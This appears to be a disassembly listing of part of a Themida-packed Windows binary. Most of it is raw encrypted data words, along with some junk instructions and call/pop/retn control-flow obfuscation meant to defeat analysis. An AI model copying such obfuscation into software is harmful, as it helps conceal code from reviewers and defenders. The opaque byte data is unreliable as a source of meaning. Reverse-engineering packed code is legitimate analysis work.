0C6C03F36h, 36BBE86Ah, 0B852D841h, 0AC75Dh, 0A21C5100h dd 0FFD712D5h, 3896D510h, 7650944Fh, 0B00E6E89h, 7D29C6C7h dd 333681FDh, 0F073DCBAh, 0B4AF1876h, 7AEF5836h, 0AA44C91Ah dd 5E537BADh, 5836B427h, 0F40BCCB2h, 7F88709Ah, 5F8884E4h dd 759D5CD2h, 43BD19E1h, 5D2DF265h, 0F64A759Dh, 79FADA49h dd 0B56587FFh, 5D03885Bh, 2810759Dh, 0A79A241Fh, 1E15913Fh dd 5FC528C2h, 8E5285E3h, 0AB4F8B37h, 5298F857h, 2B83F35Ah dd 5A2DDAF2h, 844D3B16h, 2F4E11D5h, 0E945B557h, 5796518Fh dd 0A905D07Fh, 7087C232h, 0FB7E75F7h, 0B2052783h, 71A9433Bh dd 4AB66A95h, 240ED0A0h, 0F6BECCAh, 44FD88B7h, 3B81BB75h dd 488BE9C7h, 5E9F5432h, 0E916CA60h, 0B896F00Eh, 41565CB2h dd 4CFBAC82h, 464FFDDh, 0A20115E0h, 0DE963BAh, 0E7096702h dd 135AD989h, 3896D52Fh, 0F1722E12h, 33EF1D79h, 52FA9D57h dd 7B11AC22h, 9CB9Ah, 0BE185500h, 0FBD316D1h, 3492E90Ch dd 724CA84Bh, 8C0A6285h, 7125CAC3h, 37329DF9h, 0F46FD8B6h dd 48AB1472h, 6EB5432h, 0AB40CD16h, 5A577BADh, 5836B423h dd 0F7CF29B2h, 5CD0FD08h, 0CD11759Dh, 0AFC80B65h, 3AC535D7h dd 0D51E7C5Ah, 759D5D48h, 39C6116Fh, 5E759D5Dh, 6EF906E2h dd 4F8D152Ch, 64FFD921h, 0C13F8806h, 9D03CE0Bh, 0E413DA72h dd 0B593EB01h, 0B05F37B2h, 0AB235B1Ch, 0C2BC3E81h, 52147700h dd 11EC9EDEh, 940h, 5C2BA3D8h, 97605E99h, 0D6A11D5Ch, 10FFD713h dd 4E3995D5h, 84E4B041h, 41BABD0Ah, 0FD7FFA45h, 0BD333681h dd 83FD76C1h, 0ADABCB50h, 0BEA1E87Bh, 0B25836B4h, 51FBD329h dd 52EFDA52h, 0DAD5A21Ch, 0B602ED71h, 5CF32h, 637BC300h dd 96180F8h, 1B75D18Dh, 8D15CEC8h, 17FC34Fh, 0BBACA8C6h dd 6F8D14F6h, 2E6D4129h, 4FCDA096h, 0D3795594h, 68D7B36Fh dd 0BA509E42h, 18943331h, 0EFD73ECh, 7FF350BBh, 56D335h dd 7BE40000h, 73FDF365h, 188A619Eh, 725A1DBh, 23017FDBh dd 9E1F6B30h, 0FE835475h, 15759E1Fh, 1C2B1725h, 1FE6ABBCh dd 0D0D759Eh, 0FD87541Fh, 13E95526h, 88EA51A8h, 19BDD669h dd 43000000h, 9FDDD08Dh, 0E817B25Eh, 2A0CEF1h, 78CE0000h dd 0B48274F5h, 2D94A3BDh, 0A19F637Bh, 5D0B9043h, 0EB1C759Dh dd 0D210F00Eh, 668255E7h, 0A21EC268h, 922C3795h, 8F4F8DE8h dd 569255B3h, 0AA3DCF78h, 6F8DE922h, 1E705B1Dh, 0E4E205C8h dd 0AB052E08h, 96497D9Fh, 0E21ADDAAh, 7DFD46E4h, 0B9BFEB01h dd 0D511D252h, 60EF53F9h, 9E696585h, 0AAC3225Bh, 9EF885AEh dd 231F697Dh, 0FE41EB47h, 8A04667Dh, 3FBB3C2Eh, 0D812A547h dd 718B4CFEh, 8B7EF615h, 48B3B599h, 0E9E51BDCh, 27CF843h dd 9F5430E8h, 1BC76561h, 96F009ECh, 423CBFB8h, 0B346B5h dd 0C6697D9Fh, 9A5D2AA4h, 83C06A64h, 1BE07351h, 38759D5Dh dd 0DBDFD2AAh, 0EEA1A3Bh, 0CB37A901h, 5935B6C9h, 482E47Fh dd 0E0D3AE6h, 0FAD4B2CBh, 79860079h, 8141443Fh, 79C26866h dd 3F618B03h, 35B7D239h, 0DD03FD59h, 0F3309BEEh, 4DF3B601h dd 84000004h, 0B05A34B4h, 6D02F4Fh, 785696B3h, 6A37201Eh dd 0BD759D5Ch, 0CC40903Bh, 81798335h, 0C6C8776h, 0DC5A2730h dd 2540759Dh dd 0BD5F83A9h, 0A8A3E15Dh, 3A3D774Fh, 4E48A3C2h, 87E77892h dd 0DBB3340Fh, 1EED4331h, 9B6EC064h, 41926E8Eh, 759DDBBCh dd 2C8B67DBh, 51FBD329h, 9DDD4E9Eh, 0E5E11A75h, 1C7AFC47h dd 55A4BAEEh, 0CE3DBB53h, 0F6413DB3h, 0E2AFB896h, 0C8759DDBh dd 552BD1ADh, 9DDBFD82h, 4A261A75h, 0FA23E584h, 63EC91F5h dd 0ED0F6680h, 87E07B91h, 5A90530Fh, 0B612CE7Ch, 0CE2D2694h dd 7E6A7EF0h, 0BD51C46Bh, 3577C792h, 0B0A6759Eh, 42BE3849h dd 0C56E6881h, 759E3438h, 0B807E35Fh, 9E2794ADh, 3C12BF75h dd 5828A501h, 0FE43AFFCh, 0E1E4B601h, 0E8FFFFFEh, 98B20C6Fh dd 0B42097A0h, 74EF5836h, 44C91AF6h, 53759D5Dh, 561933EFh dd 759D5E06h, 0D3F97D2h, 0B456304Ah, 0E7A168CEh, 0F1AE147h dd 7B7AF2F1h, 4D298501h, 0EA4C8282h, 0E61EF7CDh, 5D9D58E7h dd 0CB290761h, 9D7F9318h, 8B58A075h, 759D8006h, 53F9D514h dd 62ED6DEFh, 1E2105AEh, 0EB618512h, 6D62C920h, 67C58676h dd 0D2000000h, 0A19F637Bh, 8D151CB6h, 553014Fh, 0E922D6BFh dd 91CF7DD9h, 75A2665Bh, 30CA179h, 8D47AC70h, 85748C6Fh dd 12F4C72Ch, 1579CFBCh, 0FC71A20Bh, 292E1720h, 2E000000h dd 9DFBD315h, 8D2DC54Ah, 0E16ED26Fh, 5327A4FAh, 8B72759Dh dd 0FFFFFD80h, 10CEACh, 78CE0000h, 4A307AA3h, 0AB123D5Ah dd 2A3CEh, 9B51D700h, 0A1FAEFF1h, 8C11C2B9h, 0AB759E58h dd 9975FB57h, 3C78065Dh, 0E705E06Fh, 0FFBBB1EFh, 25500C4Dh dd 5604C877h, 0D37C5A9Dh, 619BDA10h, 30ECEA02h, 0FD4A261Ah dd 0EFC931B5h, 8ABB3044h, 725154Fh, 92BB1BACh, 4CBFB56Fh dd 0D8C8EF5h, 2F4D86BCh, 0BA45B557h, 484Dh, 74F07300h dd 0FF08F01Ah, 9F637B98h, 0F26543A1h, 759D5D2Dh, 0BE49F64Ah dd 4F8A743Eh, 7F5DCF33h, 0E70581E4h, 0F0790C3Bh, 9A6F9233h dd 390F7742h, 0AFFB9AECh, 6A956D5h, 0BC0ECF9Dh, 0A20Eh dd 0B3350E00h, 3EC931DBh, 5836B447h, 0F5D129B2h, 201C589Bh dd 9D5C6A37h, 0D5B18975h, 0EF08CB37h, 13A46897h, 2BF063DDh dd 48759D5Dh, 88F614F0h, 0A956304Fh, 69D6B0CEh, 9D59589Eh dd 0B8165475h, 5803DBCFh, 568AA01Eh, 454B9CFAh, 504F8F88h dd 97508EE8h, 2ACD7A54h, 0E80BF4D2h, 0AD3C3690h, 0DCDE4EEDh dd 4C6EF2Eh, 1D520000h, 0D813D6A1h, 97D611FEh, 5195503Fh dd 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch, 0B01F77F1h dd 0F05F37B5h, 45CA1D7Bh, 527BADB0h, 34B4385Fh, 0F40AED5Ah dd 0B4362D9Ah, 7E5836h, 9D5D4AD7h, 66916975h, 0F873F4AAh dd 78F6719Eh, 0C427201Eh, 914D49ADh, 2BB3F766h, 67EE9C7h dd 274F8A7Dh, 91ED0EC9h, 923BBD42h, 0E066DA6Fh, 0ADED46D0h dd 0DAF58D2h, 33D7A48Fh, 1CFC6F92h, 96218AA0h, 906F9235h dd 7DF3198h, 0CFAB2344h, 540E4691h, 0FF3497Fh, 98D716D1h dd 6785615Dh, 959D8CBBh, 518FE951h, 0CB745296h, 76CAFE38h dd 8665F343h, 1D9556Bh, 5C21326Ch, 7B637668h, 0ACD2B87h dd 0D92C9BF3h, 63766856h, 42BC1A5Ch, 0E26D6981h, 638A73h dd 0BCB20000h, 0B816FC09h, 5940CF9Dh, 9D5E13A4h, 17DD0E75h dd 3B013339h, 0A7FA001Ah, 2F4EA998h, 0CC7B557h, 916493EBh dd 759E200Ch, 4DFFD712h, 0FA106E8Ah, 0BD675280h, 1B26954Bh dd 0DA1DEAE4h, 0A30426A0h, 759E211Bh, 61A5140Ah, 4FD25CEBh dd 5B9FBC81h, 0B511C963h, 5B8DEF8Ah, 0C65CAD8Fh, 3A8561AEh dd 559651C3h, 0E06FD379h, 41EBE305h, 0C03A3D1Bh, 6FF424C6h dd 759D5CA2h, 958749B1h, 81F62610h, 0A5C7A2ADh, 2E3C304Eh dd 49603328h, 0C197B511h, 8599D97Ah, 0E05C3865h, 0E4D72D4Ah dd 0DCAB2345h, 9E3A0209h, 0D6114F75h, 2D0D3F97h, 2E238F22h dd 0DD13B602h, 0CBFBF8F4h, 239BDD60h, 454FB847h, 68FFFFFFh dd 0BE3F36B4h, 7DF62AC0h, 0B06882FCh, 4FAD36D4h, 3CA28877h dd 3B4F98F6h, 2E4F8A58h, 0B35935B5h, 15F1CD28h, 0F6615FB9h dd 6F925729h, 0F771F24Eh, 828D6D9Fh, 57D465CEh, 9EFE6F92h dd 0A0AF2745h, 3398F1D8h, 0F4BC0DF0h, 2Ah, 9F637B81h, 7436B6A1h dd 89E74F8Ah, 9232D15Eh, 0ED1AE66Fh, 8A5DCF33h, 6F923441h dd 0D326956Bh, 0BC0E1768h, 0F23Bh, 36B4DC00h, 0D129B258h dd 1D589BF5h, 0FF8AECCBh, 0D4B0C8B9h, 933DCA36h, 2FBEB2C8h dd 0D9842CFFh, 3285A703h, 0E275C2BCh, 759D9464h, 0DBA42258h dd 46E4E218h, 279FDF18h, 0E64C9218h, 0A1675F88h, 4D864F8Ah dd 26B9532Bh, 0F921CBC3h, 6B30231Dh, 886F927Fh, 65D587B0h dd 753A2D0Bh, 826F927Fh, 0A2A291BEh, 0D12B4AA1h, 65F319F5h dd 150E0CB1h, 0E710CC8Bh, 0F9D71BC3h, 85195E6Eh, 50A83349h dd 27CFD76h, 6F8F48A6h, 2D4DA817h, 387B00D3h, 0A0986985h dd 39109D46h, 0DB276985h, 5AF0E57Fh, 9D0FE459h, 20BA0h dd 0FED81500h, 3B93D611h, 7452A94Ch, 0B20C688Bh, 0CCCA22C5h dd 31E50A03h, 0F772DDB9h, 0B4AF1876h, 8EB5432h, 0C62B94F2h dd 0B3008D56h, 9A177BADh, 5A34B463h, 1154EFEDh, 9CAB97B5h dd 5C2BA3D9h, 48D51E7Ch, 6F759D5Dh, 7B7D6493h, 0DFDFF563h dd 9B66ECFCh, 0B0AA2B55h, 33EF5698h, 0E3DB12D5h, 6BE37454h dd 0BA4F8AB6h, 9D7B80B4h, 5790ECCEh, 0C874837Fh, 0C811DA70h dd 9E6F928Dh, 71CA605Eh, 0B26E9CFAh, 0B25836B1h, 0AE58A301h dd 51A813E9h, 0BC0DBDEAh, 0F0CE292Ah, 0EC59E65Ah, 0A6h dd 3F36B489h, 4E48A1C0h, 24807892h, 413DBD06h, 58C200ABh dd 80FE759Dh, 25D2B86Ch, 0F2088836h, 2E8A7694h, 4C878572h dd 42BEAC2Ah, 0A8BC32B5h, 46B7B3AAh, 0A9433FBEh, 9DF970F3h dd 5CA63872h, 32C1F162h, 5CBC4F8Ah, 0C327BFF3h, 41C772E5h dd 33A44984h, 0F22EDCBAh, 0BF3F3816h, 7DFD78C7h, 31D4C301h dd 913BE45Ah, 0FFB4h, 0EAE41900h, 279FDA1Dh, 605E9D58h dd 0BE185C97h, 0F8D616D1h, 25F13E0Fh, 0FB7EC9C5h, 0B8BB0482h dd 7CF7403Eh, 323780FEh, 0B40C9142h, 662B7BADh, 5A34B47Fh dd 9AF40AEDh, 36B4362Dh, 0D329B258h, 0C0260CFBh, 75CB1C7Ah dd 604F8D15h, 0CB0C7298h, 0D91CD7AFh, 599752FDh, 6887DE1Ah dd 0A01CFC6Eh, 1269EAC4h, 47239BD3h, 87C3F881h, 67903CE9h dd 1E5F98F8h, 0DC6C3122h, 0B78B6F8Ch, 3EC931DBh, 18CB45BBh dd 6F8CDC93h, 0F57E58A0h, 6F8CDD28h, 0F517F34Fh, 3A5A3972h dd 7B4EE059h, 1B5190EEh, 1878C7A3h, 0C0BE393Ah, 0A06DF62Ah dd 0B758C258h, 0C339BC4Bh, 5A9E21CBh, 0FEBE31Bh, 0CD245A1Dh dd 0C63AD0AEh, 0FB7FC06Ah, 5949D601h, 926E58C2h, 0B4A21436h dd 0F76D4345h, 8F076504h, 7B539651h, 6FDE69D1h, 9700DB11h dd 0A10C20CBh, 219DD396h, 0ACA0Bh, 71F20000h, 8D6D9FF7h dd 2C931B82h, 0AD5F37B4h, 50FAD42Ah, 0FB116D8Fh, 9D8F0760h dd 624A2DAh, 0AB413DBDh, 50FAD410h, 0F416708Fh, 9C8E0863h dd 0E3895319h, 1DBABF57h, 0EF815C4Bh, 231219F2h, 0FC3CC781h dd 0FB01C6C6h, 4EB835Fh, 5C241C87h, 67968h, 24348900h dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 50240C89h, 0C122D368h dd 42055826h, 0C1626E40h, 0BD5504E0h, 94E6780Eh, 895DE831h dd 0EC8158C6h, 4, 81242489h, 42404h, 83590000h, 348904ECh dd 8418F24h, 50240C8Bh, 405E089h, 5000000h, 4, 5C240487h dd 5024348Bh, 405E089h, 83000000h dd 48704C0h, 0CAE95C24h, 10FFFBE9h, 0F1DBAE5h, 0A1F543E3h db 9Bh, 0D1h, 4Ch ; --------------------------------------------------------------------------- loc_591A1B: ; CODE XREF: Themida_:loc_5909A3j mov eax, 61058D1h add eax, ebp jmp eax ; --------------------------------------------------------------------------- shl edx, 1 mov ecx, [esi-67h] xchg eax, ebp fidivr dword ptr [ebp-34h] test al, 72h push edx sbb byte ptr [edi+7B042B8Dh], 0EAh pop esi aas cli inc eax dec edi mov esi, 667E1A28h aad 7Bh jge short loc_591AA6 retf 34CCh ; --------------------------------------------------------------------------- dd 78E201BDh, 711C7222h, 5112AFF0h, 0F755A53h, 2B19683Ah dd 3F712A8Dh, 39C89A5Ah, 33374D4Ah, 392B9F48h, 6016B9A8h dd 554B2C1Dh, 5EF11565h, 5CDE3C74h, 5614E9FCh, 1E4974D9h dd 10D87E5Ah, 0DD4797Eh, 0BA38F7Ch, 4BE07558h, 559E6120h dd 1C977FE6h, 972BA91h, 5AD98D8Dh ; --------------------------------------------------------------------------- adc [esi], al loc_591AA6: ; CODE XREF: Themida_:00591A43j push 0 push ebx call sub_591AB1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_591AB1 proc near ; CODE XREF: Themida_:00591AA9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_591AB1 endp ; --------------------------------------------------------------------------- db 61h, 85h, 5Ch dd 9C89377Ah, 8F0F9B61h, 6, 19E99501h, 8D89060Bh, 60B174Dh dd 11985C7h, 5F60060Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0E47B01C3h, 46A905AFh dd 0D381669Eh, 85C75411h, 60B1009h, 0 ; --------------------------------------------------------------------------- mov dx, bx push dword ptr [ebp+60B1A49h] push 0 push ebx call sub_591B2C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_591B2C proc near ; CODE XREF: Themida_:00591B24p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_591B2C endp ; --------------------------------------------------------------------------- dd 38C6DAB8h, 1EB1B589h, 95FF060Bh, 60B0AC5h, 14E8h, 0FD4400h dd 89993459h, 317867FEh, 5C7778CDh, 23C96C8Ch, 9D8B60CEh dd 60B20F5h, 0B759589h, 5B61060Bh, 6AD8B0h, 32DD95FFh dd 0C08B060Bh, 0EFD80DEBh, 5580008Eh, 99D49363h, 8DB05BE9h dd 0B09819Dh, 39B806h, 85890000h, 60B0E7Dh, 0E8h, 0D055800h dd 89000000h, 39E903h, 0 dd 0Dh dup(77E6h), 0E9FF77E6h, 0B0h, 0DA8C6660h, 0F04C2F6h dd 0C85h, 1853B00h, 0F060B0Bh, 3684h, 15853B00h, 0F060B03h dd 2A84h, 4D853B00h, 0F060B19h, 1E84h, 15853B00h, 0F060B29h dd 1284h, 29BD8300h, 1060B13h, 5840Fh, 5FE90000h, 8B000000h dd 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h dd 8B000000h, 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh dd 10840Fh, 0CE3B0000h, 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0D79D8D00h, 0B8060B4Dh dd 5, 0C361E3FFh, 5E8D00Bh, 34000000h, 952AD556h, 665BD78Bh dd 0C377F781h, 700EC381h, 9E90000h, 8A000000h, 3CAF2519h dd 0CC67C2B0h, 34FFC933h, 5850F19h, 0BE000000h, 49042970h dd 69F78158h, 8149E3EDh, 63341FF0h, 0F4F28051h, 0CAFCE881h dd 0B5236238h, 60B2491h, 77DAE881h, 9D8944B7h, 60B0B39h dd 0E90B0489h, 12h, 0C46CB9C5h, 0E737E83Ah, 0E34B3C98h dd 0FA67209Fh, 8E85AFFh, 0C1000000h, 0AFC6F8Dh, 6629C9C2h dd 5F1638BAh, 3104E983h, 0B2949BDh, 0B4F98106h, 0FFFFF90h dd 1885h, 27E900h, 0C9900000h, 7FB769EFh, 40E49A0h, 23B6713Bh dd 4ED442CDh, 8FCA81C0h, 0E95D8C75h, 0FFFFFF66h, 9DB09DAAh dd 4FD2DECEh, 60EB06h, 17h dup(0) dd 0E9000000h, 0B1Ch, 0B10E9h, 65086800h, 0F8E90610h, 68FFFB21h dd 6106628h, 0FB21EEE9h, 669468FFh, 0E4E90610h, 8DFFFB21h dd 74914279h, 22C31021h, 8C79FAD7h, 7B944F76h, 7EC51E21h dd 0B18C9477h, 13C45A2h, 0D4E335D2h, 0B8959E0Fh, 129A56BBh dd 0C5844076h, 37E60AF9h, 63D45EFh, 937A5EB2h, 0B99F4980h dd 76E4D9DEh, 1D0440E4h, 0B78BC394h, 56B7B199h, 6E77C41h dd 881AC0FDh, 941D6064h, 7593E7C3h, 0EDD82C9Dh, 566BB019h dd 0DEE13BE2h, 0EC35E06Ah, 0C2D637D1h, 57DF69F3h, 0C3941D33h dd 0A8A04EB4h, 0F50FB9C1h, 2E0246CAh, 0A9A0F35Ah, 9FE61725h dd 0F2D6E137h, 7B465F0Eh, 1164E907h, 0BCCB3A20h, 2BC5398Dh dd 0AEB5C727h, 0F09728BCh, 64E8BD83h, 7BBE84C0h, 0D3370B3Ah dd 0BA879C09h, 9A54F2D6h, 362D1C6Bh, 0DE0C0F68h, 1BEFDA2Fh dd 0CF670927h, 3A7BBEB7h, 3753DB65h, 0B83A7BBEh, 0A5A7A442h dd 7BBE4501h, 9CF0CA3Ah, 0A5F32228h, 1BE226AAh, 0A4E320Dh dd 292471DCh, 493DB1C3h, 0DE3A7BBEh, 6BA94AE4h, 6F8D5DEh dd 33BD65DBh, 941DCFBBh, 0CC7A40C3h, 0F903A9F0h, 718B72C6h dd 0A286FA4Eh, 24719C4Eh, 0B419FF29h, 0BBD58338h, 559A26F7h dd 0CCD45BBh, 32374005h, 1D780CA0h, 8BCFC094h, 35845Dh dd 0E9140000h, 0B7D35B90h, 38C0941Dh, 0DA40EEC2h, 93750A6Fh dd 764B50BDh, 0CEA04E82h, 941D22A6h, 0FB5DA5C3h, 0D7DE47BDh dd 0F17B04FAh, 2BC5F004h, 54C835h, 6F500000h, 0BD93750Ah dd 941D5D29h, 494EBFC3h, 0B34C8074h, 890787A5h, 6D3EE8C3h dd 2FE45DCEh, 50BE3506h, 609F09h, 4D23078Ah, 33BD47BDh dd 941DCFBBh, 0CC7A40C3h, 0D11B3641h, 0AF3ADC24h, 0AAE1FD2Ch dd 0C403428h, 33BD7CE2h, 941DCFBBh, 0CC7A40C3h, 0D6F22E4h dd 46BA95E3h, 44D50A94h, 0D2D168E4h, 735762B5h, 0BFB001D5h dd 45BDBD9Fh, 87A82897h, 0B8D1B539h, 6C563A61h, 36DE3CD3h dd 1468DCE1h, 0C334930h, 52DC6EE2h, 613BAEDAh, 2FD9213Ah dd 613B27A7h, 27A6F23Ah, 36173CEDh, 17A152Ch, 6FF30000h dd 4DE10B08h, 0C3941D31h, 0A6224A86h, 27C3941Dh, 2D15E2DDh dd 6F745C9h, 2924C2FFh, 8272E1DCh, 754850BDh, 0AAA34D81h dd 0FFE6C59h, 0B76311F5h, 0F8376941h, 6DDC3084h, 665A2E15h dd 65DB52C8h, 93750A6Fh, 0CCD4CB4h, 32374005h, 11D4888Dh dd 944DE99Dh, 0FB047EC0h, 0DB75CAFEh, 3E06h, 0A6FEE00h dd 29BD9375h, 0C3941D5Dh, 948D00BFh, 0B4EB2507h, 0E345BD9Ah dd 33BD47BDh, 941DCFBBh, 188C40C3h, 0C3941D6Ch, 8DBB9FE3h dd 0B9F7580h, 386C81DEh, 7B399FF3h, 35C885h, 6F500000h dd 78E7750Ah, 91F42FE8h, 0F85E8837h, 1D5D29BDh, 47EC394h dd 0BD47BDA2h, 84084150h, 50A7A640h, 0C569FB61h, 0C3941D81h dd 2C123C06h, 0B4A50BDh, 6F33D5DDh, 7AE10B08h, 5492D042h dd 0D39D4BD9h, 948C3B5Bh, 0FA4EB4C3h, 575E0613h, 0B48B937Ah dd 4BA88CC0h, 0F8D5DE4Dh, 6F65DB06h, 0B493750Ah, 88B7CD38h dd 0CCDF85Eh, 25374005h, 45h, 6A1EBDC3h, 0B88B22A3h, 116834D2h dd 29BDA80Eh, 0C3941D5Dh, 0BD76E8D2h, 899F4750h, 0AAF35ABEh dd 41EF2397h, 50BD69AFh, 73DA7445h, 7BB31524h, 2CC885h dd 0F9240000h, 0B44848AEh, 69E53274h, 0A34D8175h, 750A6FBDh dd 5D29BD93h, 7EC3941Dh, 0D027D604h, 0BDD147E1h, 6FD7DE47h dd 57C92D1Ch, 0D1C8857Bh, 50000000h, 0E10B086Fh, 941D314Dh dd 0C8BC86C3h, 3A391461h, 0F8D5DEDAh, 0CB2BCD72h, 3A8EB9CFh dd 0C67539C6h, 9AEE9A12h, 1961C394h, 0DB150B25h, 750A6F65h dd 2A2678E7h, 3A83408Eh, 1074D8E5h, 33E4D3Ch, 0B7AD5BBFh dd 0CCD4CB4h, 25374005h, 4Fh, 750A6FC3h, 5D29BD93h, 0D2C3941Dh dd 33BD76E8h, 0DE5BBDC2h, 0DAFACE9Ch, 4D817569h, 50BDBDA3h dd 43870B4Ah, 6C5DA8A5h, 0CBF60FFEh, 7FE50347h, 0F504F17Bh dd 0BD342AC4h, 0DA744550h, 3F65h, 0BC69FB00h, 0F3975F66h dd 74C3941Dh, 6F7AE00Eh, 0BD93750Ah, 941D5D29h, 0D6047EC3h dd 1DA42044h, 422BC394h, 523073Eh, 0BD47BD1Fh, 84B1C233h dd 7014DC30h, 0F7C3941Dh, 9DE86583h, 857BCAACh, 14F8D5DEh dd 0FF6453A5h, 44C8050Eh, 941D9EECh, 545153C3h, 0FD6F5AAFh dd 1EC80110h, 0B95FA845h, 6427E17Dh, 2B9FF32Ch, 165082DAh dd 6B830D97h, 0C394181Fh, 0D8E73F90h, 2E3C1074h, 9418C286h dd 0D37D45C3h, 7A89297Ah, 91A0F647h, 0A4F8A6BDh, 0B1C34D9Fh dd 9418493Dh, 4AE4DEC3h, 9F243BBAh, 1CCE34BDh, 7A94ABF1h dd 0EA2E5E96h, 0B9FB3A60h, 0E835D42Ch, 261C2C35h, 0F8000000h dd 3E311EBDh, 0FF85F263h, 94B51377h, 4AAE94C3h, 6964B19Ch dd 0B5394DE5h, 0B4CCC394h, 1FC7D039h, 1FC43807h, 0ED5DEF9h dd 941DE2E6h, 0E0E408C3h, 67C3941Dh, 7A5EA413h, 4E594496h dd 0C24B8F73h, 0D83C80BDh, 0AE0E6E2Eh, 0C4DAED20h, 0A3509FDh dd 0B3B93D52h, 94294F3Bh, 86FAC0C3h, 0C6D3D054h, 261CBD83h dd 1B613Dh, 0F6C352DAh, 166C4470h, 186D98A2h, 0D43753DBh dd 42B83070h, 99A69A6Eh, 3CA7B8FDh, 0D9AD5B6Ah, 307086A9h dd 0F801EC7Ch, 53C671C5h, 9D257941h, 0DCD67054h, 0A2123BD1h dd 1F3F2625h, 0D9000000h, 0E10B086Fh, 941D294Dh, 0B6A49EC3h dd 0DE053447h, 2427h, 0B3C83500h, 0DEE93F8Eh, 86FCA30h dd 0DF57E10Bh, 0C3941DABh, 4628C63Ch, 941D4E2Eh, 13D921C3h dd 0B9BA97E2h, 154C85Bh, 9A240000h, 941D7612h, 6781F9C3h dd 710E6FF1h, 0DE65DB9Fh, 0B406F8D5h, 50CCD4Ch, 63253740h dd 0C3000000h, 9F710E6Fh, 1D5D29BDh, 0BFC394h, 0F5935839h dd 76129AA3h, 0F9C394D7h, 8483AD81h, 3741ACBEh, 0CCFDFF18h dd 6BDD7D7h, 47BD72E8h, 0CFBB33BDh, 4EC3941Dh, 40840845h dd 3C0116F7h, 0F6107448h, 27350417h, 1D751195h, 15FAC394h dd 347CB06h, 7B1B012Fh, 27C885h, 0F9240000h, 0E82C90AFh dd 0E6FD83Eh, 0D559EB71h, 0C3941DB1h, 3C22CC36h, 1D5D29BDh dd 47EC394h, 0DE47BDA2h, 7B18FED3h, 0F8D5DE85h, 6F65DB06h dd 0B493750Ah, 50CCD4Ch, 4F253740h, 0B7000000h, 81B23B08h dd 29C710C0h, 750A6F33h, 5D29BD93h, 0BFC3941Dh, 0E10F464Eh dd 246EE62h, 85C3941Dh, 0BDE759BDh, 21D7DE47h, 0F207944Bh dd 0E01F73C7h, 0BF935C4Ch, 4F17BD9h, 1A7EC2FFh, 33BD76ECh dd 941DCFBBh, 0CC7A40C3h, 3357h, 0A6FF100h, 50BD9375h dd 42860A47h, 26A2CAA4h, 5C3941Dh, 47BD2B8Dh, 764B50BDh dd 172275D8h, 5733BBC5h, 98C3941Dh, 0EF56E98Eh, 69512EF6h dd 857B59BFh, 0BFFD6DEh, 941DAADBh, 9B2A68C3h, 0C12B2272h dd 48495C9Ah, 9BB56C26h, 0D6DE38D8h, 52A20BFFh, 0EF29977Bh dd 32E55ADEh, 0B98E9206h, 0A2F25BF5h, 342648ABh, 2CC3946Eh dd 404E924Eh, 0FE8F8932h, 0A757FFFFh, 0C3941D27h, 941C2FDFh dd 1DB4D7C3h, 242C394h, 0E0C3941Dh, 3DEBE635h, 941DD9A9h dd 1DA121C3h, 0B910394h, 0E358EA70h, 1AD09DF4h, 0D79F49A3h dd 0FD99C1ABh, 0C934261Ch, 300D12BAh, 0FA1468DCh, 0FD861616h dd 7932F06Fh, 3E82BFC4h, 18513DDAh, 68FC6E98h, 846D4FBDh dd 2D59CD5Fh, 0A2F0734Fh, 6951AE58h, 6AA3D39Eh, 53341E4Ch dd 26Dh, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h, 92417C84h dd 0DB213C23h, 898E7FE4h, 367EAFB4h dd 0DE2BC41Fh, 618B70E3h, 8478B9CDh, 0D9BF0EC5h, 72F8D5DEh dd 0AADE56E0h, 3DC3941Dh, 1D790DC5h, 61CEC394h, 73573B16h dd 119F11Fh, 0E87AE07Bh, 6FD3EE3Dh, 669FD2Bh, 0F7BD83F2h dd 0BECE5083h, 8E3A7BBEh, 758755EEh, 0F94D7088h, 209B6B85h dd 39446C53h, 99EA1BC1h, 4D56B7ACh, 2CA48C70h, 1C304B5Bh dd 8471FB80h, 0CAA4427Fh, 5CB445A2h, 0EA3AEB4Eh, 0FD2B6FD3h dd 0C736241Eh, 0B35C87B2h, 55E76B66h, 364A8EE6h, 9A639AF4h dd 0F4C8BC89h, 213A425Ah, 3CB0B33Bh, 41B9504Dh, 2F166A9Bh dd 41C9675Bh, 22C85329h, 3D81358Ah, 2E3C065Ah, 449FAAFFh dd 9F635EABh, 7954A04Dh, 0CF97B195h, 223A27BFh, 8456ED8Fh dd 2E087F60h, 2B709D5Ch, 271BF816h, 0F77F8953h, 18098093h dd 475F2E14h, 0AECECE78h, 0C8354795h, 0C63A8EB3h, 84B55C28h dd 300A6602h, 0BF5FAC37h, 0F057B3AAh, 14Dh, 4E95ACF6h dd 0F87B56A1h, 16CDFC0Fh, 4192A1F9h, 0F2615CA4h, 0BBC11C43h dd 69AE5F84h, 161E8F54h, 0BECB243Fh, 41AB5083h, 847B592Dh dd 0F95F2EC5h, 0E7AD0D6Fh, 61B3DDCFh, 980CDE32h, 0BD835EF7h dd 0A09FE748h, 411F8DCh, 961D5C9h, 0F002E873h, 6452087Ch dd 8DBB9F3Ah, 6CB64BE3h, 3307446Fh, 6CB3B934h, 857AC88Ch dd 0E1h, 0D201384Ah, 0CD7E235h, 0BAB990E3h, 0D50E354Dh dd 6DDE038h, 4F55A8BFh, 0FD02E370h, 0A2F213C0h, 4A5F48ABh dd 0D517E47Fh, 847B3551h, 55CBBAC5h, 0CFBB33BDh, 40C3941Dh dd 0D9AD9CEFh, 576781E5h, 0C12C3E45h, 0FC6E98B7h, 83F27F68h dd 68AF0BDh, 9DE24257h, 76974CA0h, 4CAC102Dh, 0ADC12B30h dd 446C5316h, 92C91367h, 7D3BCC81h, 81FC2FA4h, 662607B0h dd 8103E402h, 5D8BFF77h, 261C304Bh, 